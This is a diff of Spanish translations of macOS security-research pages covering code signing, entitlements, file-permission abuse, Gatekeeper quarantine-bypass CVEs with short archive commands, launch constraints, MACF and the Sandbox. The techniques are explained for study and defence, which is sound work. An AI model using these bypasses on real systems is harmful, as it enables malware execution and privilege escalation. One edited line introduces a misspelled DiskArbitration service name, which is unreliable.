|
||||
|
||||
@ -144,7 +144,7 @@ openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Tenga en cuenta que las aplicaciones también pueden contener un **entitlement blob** donde se definen todos los derechos. Además, algunos binarios de iOS pueden tener sus derechos específicos en el slot especial -7 (en lugar de en el slot especial -5 de derechos).
|
||||
Tenga en cuenta que las aplicaciones también pueden contener un **entitlement blob** donde se definen todos los derechos. Además, algunos binarios de iOS pueden tener sus derechos específicos en el slot especial -7 (en lugar de en el slot especial de derechos -5).
|
||||
|
||||
## Special Slots
|
||||
|
||||
@ -270,7 +270,7 @@ Es posible acceder a esta información y crear o modificar requisitos con alguna
|
||||
|
||||
- **`SecStaticCodeCheckValidity`**: Valida un objeto de código estático contra requisitos especificados.
|
||||
|
||||
#### **APIs Adicionales Útiles**
|
||||
#### **APIs Útiles Adicionales**
|
||||
|
||||
- **`SecCodeCopy[Internal/Designated]Requirement`: Obtener SecRequirementRef de SecCodeRef**
|
||||
- **`SecCodeCopyGuestWithAttributes`**: Crea un `SecCodeRef` que representa un objeto de código basado en atributos específicos, útil para el sandboxing.
|
||||
@ -290,7 +290,7 @@ El **kernel** es el que **verifica la firma de código** antes de permitir que e
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) la estructura contiene la información sobre el derecho de la proceso en ejecución sobre él. `csb_platform_binary` también informa si la aplicación es un binario de plataforma (lo cual es verificado en diferentes momentos por el OS para aplicar mecanismos de seguridad como proteger los derechos de SEND a los puertos de tarea de estos procesos).
|
||||
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) la estructura contiene la información sobre el derecho de la proceso en ejecución sobre él. `csb_platform_binary` también informa si la aplicación es un binario de plataforma (que es verificado en diferentes momentos por el OS para aplicar mecanismos de seguridad como proteger los derechos de SEND a los puertos de tarea de estos procesos).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
||||
@ -29,11 +29,11 @@ Las aplicaciones con el derecho de Herramienta de Depuración pueden llamar a `t
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Este derecho permite **cargar frameworks, complementos o bibliotecas sin estar firmados por Apple o firmados con el mismo Team ID** que el ejecutable principal, por lo que un atacante podría abusar de alguna carga de biblioteca arbitraria para inyectar código. Consulte [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Este derecho permite **cargar frameworks, plug-ins o bibliotecas sin estar firmados por Apple o firmados con el mismo Team ID** que el ejecutable principal, por lo que un atacante podría abusar de alguna carga de biblioteca arbitraria para inyectar código. Consulte [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite al proceso **llamar a una llamada al sistema `csops` para deshabilitarla**.\
|
||||
Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite que el proceso **llame a una llamada al sistema `csops` para deshabilitarla**.\
|
||||
Consulte [**esto para más información**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
@ -156,7 +156,7 @@ Según esta publicación de blog, este permiso TCC generalmente se encuentra en
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
Permitir que el proceso **pida todos los permisos de TCC**.
|
||||
Permitir que el proceso **solicite todos los permisos de TCC**.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Permisos en un **directorio**:
|
||||
- **escribir** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**.
|
||||
- Pero **no puedes eliminar/modificar carpetas no vacías** a menos que tengas permisos de escritura sobre ellas.
|
||||
- **No puedes modificar el nombre de una carpeta** a menos que seas el propietario.
|
||||
- **ejecutar** - se te **permite recorrer** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio.
|
||||
- **ejecutar** - se te **permite recorrer** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en subdirectorios.
|
||||
|
||||
### Combinaciones Peligrosas
|
||||
|
||||
@ -18,7 +18,7 @@ Permisos en un **directorio**:
|
||||
|
||||
- Un **propietario de directorio** padre en la ruta es el usuario
|
||||
- Un **propietario de directorio** padre en la ruta es un **grupo de usuarios** con **acceso de escritura**
|
||||
- Un **grupo** de usuarios tiene **acceso de escritura** al **archivo**
|
||||
- Un **grupo** de usuarios tiene acceso de **escritura** al **archivo**
|
||||
|
||||
Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada.
|
||||
|
||||
@ -30,7 +30,7 @@ Ejemplo en: [https://theevilbit.github.io/posts/exploiting_directory_permissions
|
||||
|
||||
## Enlace simbólico / Enlace duro
|
||||
|
||||
### Archivo/carpeta permisivo
|
||||
### Archivo/carpeta permisiva
|
||||
|
||||
Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un **usuario de menor privilegio**, o que podría haber sido **creado previamente** por un usuario de menor privilegio. El usuario podría simplemente **apuntarlo a otro archivo** a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo.
|
||||
|
||||
@ -122,7 +122,7 @@ ls -le /tmp/test
|
||||
|
||||
El formato de archivo **AppleDouble** copia un archivo incluyendo sus ACEs.
|
||||
|
||||
En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de la ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Así que, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con una ACL que impide que otros xattrs sean escritos en él... el xattr de cuarentena no se estableció en la aplicación:
|
||||
En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de la ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Así que, si comprimiste una aplicación en un archivo zip con formato de archivo **AppleDouble** con una ACL que impide que otros xattrs sean escritos en él... el xattr de cuarentena no se estableció en la aplicación:
|
||||
|
||||
Consulta el [**informe original**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) para más información.
|
||||
|
||||
@ -156,7 +156,7 @@ macos-xattr-acls-extra-stuff.md
|
||||
|
||||
### Bypass de verificaciones de binarios de plataforma
|
||||
|
||||
Al algunas verificaciones de seguridad se les verifica si el binario es un **binario de plataforma**, por ejemplo, para permitir la conexión a un servicio XPC. Sin embargo, como se expone en un bypass en https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, es posible eludir esta verificación obteniendo un binario de plataforma (como /bin/ls) e inyectando el exploit a través de dyld usando una variable de entorno `DYLD_INSERT_LIBRARIES`.
|
||||
Algunas verificaciones de seguridad comprueban si el binario es un **binario de plataforma**, por ejemplo, para permitir la conexión a un servicio XPC. Sin embargo, como se expone en un bypass en https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, es posible eludir esta verificación obteniendo un binario de plataforma (como /bin/ls) e inyectando el exploit a través de dyld usando una variable de entorno `DYLD_INSERT_LIBRARIES`.
|
||||
|
||||
### Bypass de las flags `CS_REQUIRE_LV` y `CS_FORCED_LV`
|
||||
|
||||
@ -248,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitration.diskarbitrationd` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\
|
||||
Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\
|
||||
Sin embargo, es posible usar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`.
|
||||
|
||||
## Escrituras Arbitrarias
|
||||
@ -326,7 +326,7 @@ echo $FILENAME
|
||||
```
|
||||
## Memoria Compartida POSIX
|
||||
|
||||
**La memoria compartida POSIX** permite que los procesos en sistemas operativos compatibles con POSIX accedan a un área de memoria común, facilitando una comunicación más rápida en comparación con otros métodos de comunicación entre procesos. Implica crear o abrir un objeto de memoria compartida con `shm_open()`, establecer su tamaño con `ftruncate()`, y mapearlo en el espacio de direcciones del proceso usando `mmap()`. Los procesos pueden entonces leer y escribir directamente en esta área de memoria. Para gestionar el acceso concurrente y prevenir la corrupción de datos, a menudo se utilizan mecanismos de sincronización como mutexes o semáforos. Finalmente, los procesos desmapean y cierran la memoria compartida con `munmap()` y `close()`, y opcionalmente eliminan el objeto de memoria con `shm_unlink()`. Este sistema es especialmente efectivo para IPC eficiente y rápido en entornos donde múltiples procesos necesitan acceder a datos compartidos rápidamente.
|
||||
**La memoria compartida POSIX** permite a los procesos en sistemas operativos compatibles con POSIX acceder a un área de memoria común, facilitando una comunicación más rápida en comparación con otros métodos de comunicación entre procesos. Implica crear o abrir un objeto de memoria compartida con `shm_open()`, establecer su tamaño con `ftruncate()`, y mapearlo en el espacio de direcciones del proceso usando `mmap()`. Los procesos pueden luego leer y escribir directamente en esta área de memoria. Para gestionar el acceso concurrente y prevenir la corrupción de datos, a menudo se utilizan mecanismos de sincronización como mutexes o semáforos. Finalmente, los procesos desmapean y cierran la memoria compartida con `munmap()` y `close()`, y opcionalmente eliminan el objeto de memoria con `shm_unlink()`. Este sistema es especialmente efectivo para IPC eficiente y rápido en entornos donde múltiples procesos necesitan acceder a datos compartidos rápidamente.
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@ -11,9 +11,9 @@ El mecanismo clave de Gatekeeper radica en su proceso de **verificación**. Veri
|
||||
|
||||
Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar a los usuarios que aprueben la apertura** del software descargado por primera vez. Esta salvaguarda ayuda a prevenir que los usuarios ejecuten inadvertidamente código ejecutable potencialmente dañino que pueden haber confundido con un archivo de datos inofensivo.
|
||||
|
||||
### Application Signatures
|
||||
### Firmas de Aplicación
|
||||
|
||||
Las firmas de aplicaciones, también conocidas como firmas de código, son un componente crítico de la infraestructura de seguridad de Apple. Se utilizan para **verificar la identidad del autor del software** (el desarrollador) y para asegurar que el código no ha sido alterado desde que fue firmado por última vez.
|
||||
Las firmas de aplicación, también conocidas como firmas de código, son un componente crítico de la infraestructura de seguridad de Apple. Se utilizan para **verificar la identidad del autor del software** (el desarrollador) y para asegurar que el código no ha sido alterado desde que fue firmado por última vez.
|
||||
|
||||
Así es como funciona:
|
||||
|
||||
@ -21,11 +21,11 @@ Así es como funciona:
|
||||
2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente.
|
||||
3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute.
|
||||
|
||||
Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido alterado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario.
|
||||
Las firmas de aplicación son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido alterado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario.
|
||||
|
||||
A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estas verificaciones son aprobadas, Apple añade un ticket a la aplicación que Gatekeeper puede verificar.
|
||||
|
||||
#### Check Signatures
|
||||
#### Verificar Firmas
|
||||
|
||||
Al verificar alguna **muestra de malware**, siempre debes **verificar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.**
|
||||
```bash
|
||||
@ -90,7 +90,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
||||
Nota cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitado para ejecutar aplicaciones de la App Store y desarrolladores identificados**.\
|
||||
Si **modificas** esa configuración a App Store, las "**reglas de Developer ID Notarizado" desaparecerán**.
|
||||
|
||||
También hay miles de reglas de **tipo GKE** :
|
||||
También hay miles de reglas de **tipo GKE**:
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
@ -142,7 +142,7 @@ sudo spctl --enable --label "whitelist"
|
||||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
Respecto a las **extensiones del kernel**, la carpeta `/var/db/SystemPolicyConfiguration` contiene archivos con listas de kexts permitidos para ser cargados. Además, `spctl` tiene el derecho `com.apple.private.iokit.nvram-csr` porque es capaz de agregar nuevas extensiones del kernel preaprobadas que también deben guardarse en NVRAM en una clave `kext-allowed-teams`.
|
||||
Respecto a las **extensiones del kernel**, la carpeta `/var/db/SystemPolicyConfiguration` contiene archivos con listas de kexts permitidos para ser cargados. Además, `spctl` tiene el derecho `com.apple.private.iokit.nvram-csr` porque es capaz de agregar nuevas extensiones del kernel preaprobadas que también necesitan ser guardadas en NVRAM en una clave `kext-allowed-teams`.
|
||||
|
||||
### Archivos de Cuarentena
|
||||
|
||||
@ -321,11 +321,11 @@ Sin embargo, ahora esto no es posible porque macOS **previene la modificación d
|
||||
|
||||
## Bypasses de Gatekeeper
|
||||
|
||||
Cualquier forma de eludir Gatekeeper (lograr que el usuario descargue algo y lo ejecute cuando Gatekeeper debería prohibirlo) se considera una vulnerabilidad en macOS. Estos son algunos CVEs asignados a técnicas que permitieron eludir Gatekeeper en el pasado:
|
||||
Cualquier forma de eludir Gatekeeper (lograr que el usuario descargue algo y lo ejecute cuando Gatekeeper debería deshabilitarlo) se considera una vulnerabilidad en macOS. Estos son algunos CVEs asignados a técnicas que permitieron eludir Gatekeeper en el pasado:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
Se observó que si se utiliza la **Utilidad de Archivos** para la extracción, los archivos con **rutas que superan los 886 caracteres** no reciben el atributo extendido com.apple.quarantine. Esta situación permite inadvertidamente que esos archivos **eludan las** verificaciones de seguridad de Gatekeeper.
|
||||
Se observó que si se utiliza la **Utilidad de Archivos** para la extracción, los archivos con **rutas que exceden 886 caracteres** no reciben el atributo extendido com.apple.quarantine. Esta situación permite inadvertidamente que esos archivos **eludan las** verificaciones de seguridad de Gatekeeper.
|
||||
|
||||
Consulta el [**informe original**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) para más información.
|
||||
|
||||
@ -341,7 +341,7 @@ Consulta el [**informe original**](https://ronmasas.com/posts/bypass-macos-gatek
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
En este bypass se creó un archivo zip con una aplicación comenzando a comprimir desde `application.app/Contents` en lugar de `application.app`. Por lo tanto, el **atributo de cuarentena** se aplicó a todos los **archivos de `application.app/Contents`** pero **no a `application.app`**, que era lo que Gatekeeper estaba verificando, por lo que Gatekeeper fue eludido porque cuando se activó `application.app` **no tenía el atributo de cuarentena.**
|
||||
En este bypass se creó un archivo zip con una aplicación comenzando a comprimir desde `application.app/Contents` en lugar de `application.app`. Por lo tanto, el **atributo de cuarentena** se aplicó a todos los **archivos de `application.app/Contents`** pero **no a `application.app`**, que es lo que Gatekeeper estaba verificando, por lo que Gatekeeper fue eludido porque cuando se activó `application.app` **no tenía el atributo de cuarentena.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -398,7 +398,7 @@ aa archive -d test/ -o test.aar
|
||||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
Al poder crear un archivo que no tendrá el atributo de cuarentena, fue **posible eludir Gatekeeper.** El truco era **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\
|
||||
Al poder crear un archivo que no tendrá el atributo de cuarentena, fue **posible eludir Gatekeeper.** El truco fue **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\
|
||||
Cuando se **ejecuta el archivo dmg**, como no tiene un atributo de cuarentena, **eludirá Gatekeeper.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Las restricciones de lanzamiento en macOS se introdujeron para mejorar la seguridad al **regular cómo, quién y desde dónde se puede iniciar un proceso**. Iniciadas en macOS Ventura, proporcionan un marco que categoriza **cada binario del sistema en distintas categorías de restricción**, que se definen dentro de la **caché de confianza**, una lista que contiene binarios del sistema y sus respectivos hashes. Estas restricciones se extienden a cada binario ejecutable dentro del sistema, implicando un conjunto de **reglas** que delinean los requisitos para **lanzar un binario particular**. Las reglas abarcan restricciones propias que un binario debe satisfacer, restricciones parentales que deben ser cumplidas por su proceso padre, y restricciones responsables que deben ser observadas por otras entidades relevantes.
|
||||
Las restricciones de lanzamiento en macOS se introdujeron para mejorar la seguridad al **regular cómo, quién y desde dónde se puede iniciar un proceso**. Iniciadas en macOS Ventura, proporcionan un marco que categoriza **cada binario del sistema en distintas categorías de restricción**, que se definen dentro de la **caché de confianza**, una lista que contiene binarios del sistema y sus respectivos hashes. Estas restricciones se extienden a cada binario ejecutable dentro del sistema, implicando un conjunto de **reglas** que delinean los requisitos para **lanzar un binario particular**. Las reglas abarcan restricciones propias que un binario debe satisfacer, restricciones parentales que deben ser cumplidas por su proceso padre, y restricciones responsables que deben ser respetadas por otras entidades relevantes.
|
||||
|
||||
El mecanismo se extiende a aplicaciones de terceros a través de **Restricciones de Entorno**, comenzando desde macOS Sonoma, permitiendo a los desarrolladores proteger sus aplicaciones especificando un **conjunto de claves y valores para las restricciones de entorno.**
|
||||
|
||||
@ -54,7 +54,7 @@ Parent Constraint: is-init-proc
|
||||
|
||||
### Invirtiendo las Categorías LC
|
||||
|
||||
Tienes más información [**sobre esto aquí**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), pero básicamente, están definidos en **AMFI (AppleMobileFileIntegrity)**, así que necesitas descargar el Kernel Development Kit para obtener el **KEXT**. Los símbolos que comienzan con **`kConstraintCategory`** son los **interesantes**. Al extraerlos, obtendrás un flujo codificado en DER (ASN.1) que necesitarás decodificar con [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) o la biblioteca python-asn1 y su script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) que te dará una cadena más comprensible.
|
||||
Tienes más información [**sobre esto aquí**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), pero básicamente, están definidos en **AMFI (AppleMobileFileIntegrity)**, así que necesitas descargar el Kernel Development Kit para obtener el **KEXT**. Los símbolos que comienzan con **`kConstraintCategory`** son los **interesantes**. Al extraerlos, obtendrás un flujo codificado DER (ASN.1) que necesitarás decodificar con [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) o la biblioteca python-asn1 y su script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) que te dará una cadena más comprensible.
|
||||
|
||||
## Restricciones del Entorno
|
||||
|
||||
@ -123,7 +123,7 @@ entry count = 969
|
||||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
La caché de confianza sigue la siguiente estructura, así que la **categoría LC es la 4ª columna**.
|
||||
La caché de confianza sigue la siguiente estructura, así que la **categoría LC es la 4ª columna**
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
@ -135,7 +135,7 @@ uint8_t reserved0;
|
||||
```
|
||||
Luego, podrías usar un script como [**este**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) para extraer datos.
|
||||
|
||||
Con esos datos puedes verificar las Apps con un **valor de restricciones de lanzamiento de `0`**, que son las que no están restringidas ([**ver aquí**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) para qué significa cada valor).
|
||||
Con esos datos, puedes verificar las aplicaciones con un **valor de restricciones de lanzamiento de `0`**, que son las que no están restringidas ([**ver aquí**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) para qué significa cada valor).
|
||||
|
||||
## Mitigaciones de Ataques
|
||||
|
||||
|
||||
@ -22,11 +22,11 @@ Ten en cuenta que MACF realmente no toma decisiones, ya que solo **intercepta**
|
||||
|
||||
### Etiquetas
|
||||
|
||||
MACF utiliza **etiquetas** que luego las políticas comprobarán si deben otorgar algún acceso o no. El código de la declaración de la estructura de etiquetas se puede [encontrar aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), que se utiliza dentro de la **`struct ucred`** en [**aquí**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) en la parte de **`cr_label`**. La etiqueta contiene flags y un número de **slots** que pueden ser utilizados por **políticas MACF para asignar punteros**. Por ejemplo, Sanbox apuntará al perfil del contenedor.
|
||||
MACF utiliza **etiquetas** que luego las políticas comprobarán si deben otorgar algún acceso o no. El código de la declaración de la estructura de etiquetas se puede [encontrar aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), que se utiliza dentro de la **`struct ucred`** en [**aquí**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) en la parte de **`cr_label`**. La etiqueta contiene flags y un número de **slots** que pueden ser utilizados por **políticas de MACF para asignar punteros**. Por ejemplo, Sanbox apuntará al perfil del contenedor.
|
||||
|
||||
## Políticas MACF
|
||||
## Políticas de MACF
|
||||
|
||||
Una Política MACF define **reglas y condiciones que se aplicarán en ciertas operaciones del kernel**. 
|
||||
Una Política de MACF define **reglas y condiciones que se aplicarán en ciertas operaciones del kernel**. 
|
||||
|
||||
Una extensión del kernel podría configurar una estructura `mac_policy_conf` y luego registrarla llamando a `mac_policy_register`. Desde [aquí](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
|
||||
```c
|
||||
@ -67,7 +67,7 @@ void *mpc_data; /** module data */
|
||||
```
|
||||
Es fácil identificar las extensiones del kernel que configuran estas políticas al verificar las llamadas a `mac_policy_register`. Además, al revisar el desensamblado de la extensión, también es posible encontrar la estructura `mac_policy_conf` utilizada.
|
||||
|
||||
Tenga en cuenta que las políticas MACF también se pueden registrar y anular **dinámicamente**.
|
||||
Tenga en cuenta que las políticas de MACF pueden registrarse y desregistrarse también **dinámicamente**.
|
||||
|
||||
Uno de los campos principales de `mac_policy_conf` es **`mpc_ops`**. Este campo especifica qué operaciones le interesan a la política. Tenga en cuenta que hay cientos de ellas, por lo que es posible establecer todas en cero y luego seleccionar solo las que le interesan a la política. Desde [aquí](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
|
||||
```c
|
||||
@ -137,7 +137,7 @@ panic("file_check_mmap increased max protections");
|
||||
return error;
|
||||
}
|
||||
```
|
||||
El cual llama al macro `MAC_CHECK`, cuyo código se puede encontrar en [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261)
|
||||
El cual está llamando al macro `MAC_CHECK`, cuyo código se puede encontrar en [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261)
|
||||
```c
|
||||
/*
|
||||
* MAC_CHECK performs the designated check by walking the policy
|
||||
@ -157,7 +157,7 @@ error = mac_error_select(__step_err, error); \
|
||||
}); \
|
||||
} while (0)
|
||||
```
|
||||
Que revisará todas las políticas de mac registradas llamando a sus funciones y almacenando la salida dentro de la variable de error, que solo será sobreescribible por `mac_error_select` mediante códigos de éxito, por lo que si alguna verificación falla, la verificación completa fallará y la acción no será permitida.
|
||||
Lo que revisará todas las políticas de mac registradas llamando a sus funciones y almacenando la salida dentro de la variable de error, que solo será sobreescribible por `mac_error_select` mediante códigos de éxito, por lo que si alguna verificación falla, la verificación completa fallará y la acción no será permitida.
|
||||
|
||||
> [!TIP]
|
||||
> Sin embargo, recuerda que no todos los llamados de MACF se utilizan solo para denegar acciones. Por ejemplo, `mac_priv_grant` llama al macro [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274), que otorgará el privilegio solicitado si alguna política responde con un 0:
|
||||
@ -204,9 +204,9 @@ goto skip_syscall;
|
||||
}
|
||||
#endif /* CONFIG_MACF */
|
||||
```
|
||||
Que verificará en el proceso de llamada **bitmask** si la syscall actual debería llamar a `mac_proc_check_syscall_unix`. Esto se debe a que las syscalls se llaman con tanta frecuencia que es interesante evitar llamar a `mac_proc_check_syscall_unix` cada vez.
|
||||
Que verificará en el proceso que llama **bitmask** si la syscall actual debería llamar a `mac_proc_check_syscall_unix`. Esto se debe a que las syscalls se llaman con tanta frecuencia que es interesante evitar llamar a `mac_proc_check_syscall_unix` cada vez.
|
||||
|
||||
Tenga en cuenta que la función `proc_set_syscall_filter_mask()`, que establece la bitmask de syscalls en un proceso, es llamada por Sandbox para establecer máscaras en procesos en sandbox.
|
||||
Tenga en cuenta que la función `proc_set_syscall_filter_mask()`, que establece la máscara de syscalls en un proceso, es llamada por Sandbox para establecer máscaras en procesos en sandbox.
|
||||
|
||||
## Syscalls MACF expuestas
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@ MacOS Sandbox (inicialmente llamado Seatbelt) **limita las aplicaciones** que se
|
||||
|
||||
Cualquier aplicación con la **entitlement** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. **Los binarios de Apple** generalmente se ejecutan dentro de un Sandbox, y todas las aplicaciones de la **App Store tienen esa entitlement**. Por lo tanto, varias aplicaciones se ejecutarán dentro del sandbox.
|
||||
|
||||
Para controlar lo que un proceso puede o no hacer, el **Sandbox tiene hooks** en casi cualquier operación que un proceso podría intentar (incluyendo la mayoría de las syscalls) utilizando **MACF**. Sin embargo, **dependiendo** de las **entitlements** de la aplicación, el Sandbox podría ser más permisivo con el proceso.
|
||||
Para controlar lo que un proceso puede o no puede hacer, el **Sandbox tiene hooks** en casi cualquier operación que un proceso podría intentar (incluyendo la mayoría de las syscalls) utilizando **MACF**. Sin embargo, **dependiendo** de las **entitlements** de la aplicación, el Sandbox podría ser más permisivo con el proceso.
|
||||
|
||||
Algunos componentes importantes del Sandbox son:
|
||||
|
||||
@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que incluso si los symlinks están ahí para "escapar" del Sandbox y acceder a otras carpetas, la App aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`** en los `RedirectablePaths`.
|
||||
|
||||
El **`SandboxProfileData`** es el perfil de sandbox compilado CFData escapado a B64.
|
||||
Los **`SandboxProfileData`** son el perfil de sandbox compilado CFData escapado a B64.
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
@ -131,7 +131,7 @@ Aquí puedes encontrar un ejemplo:
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
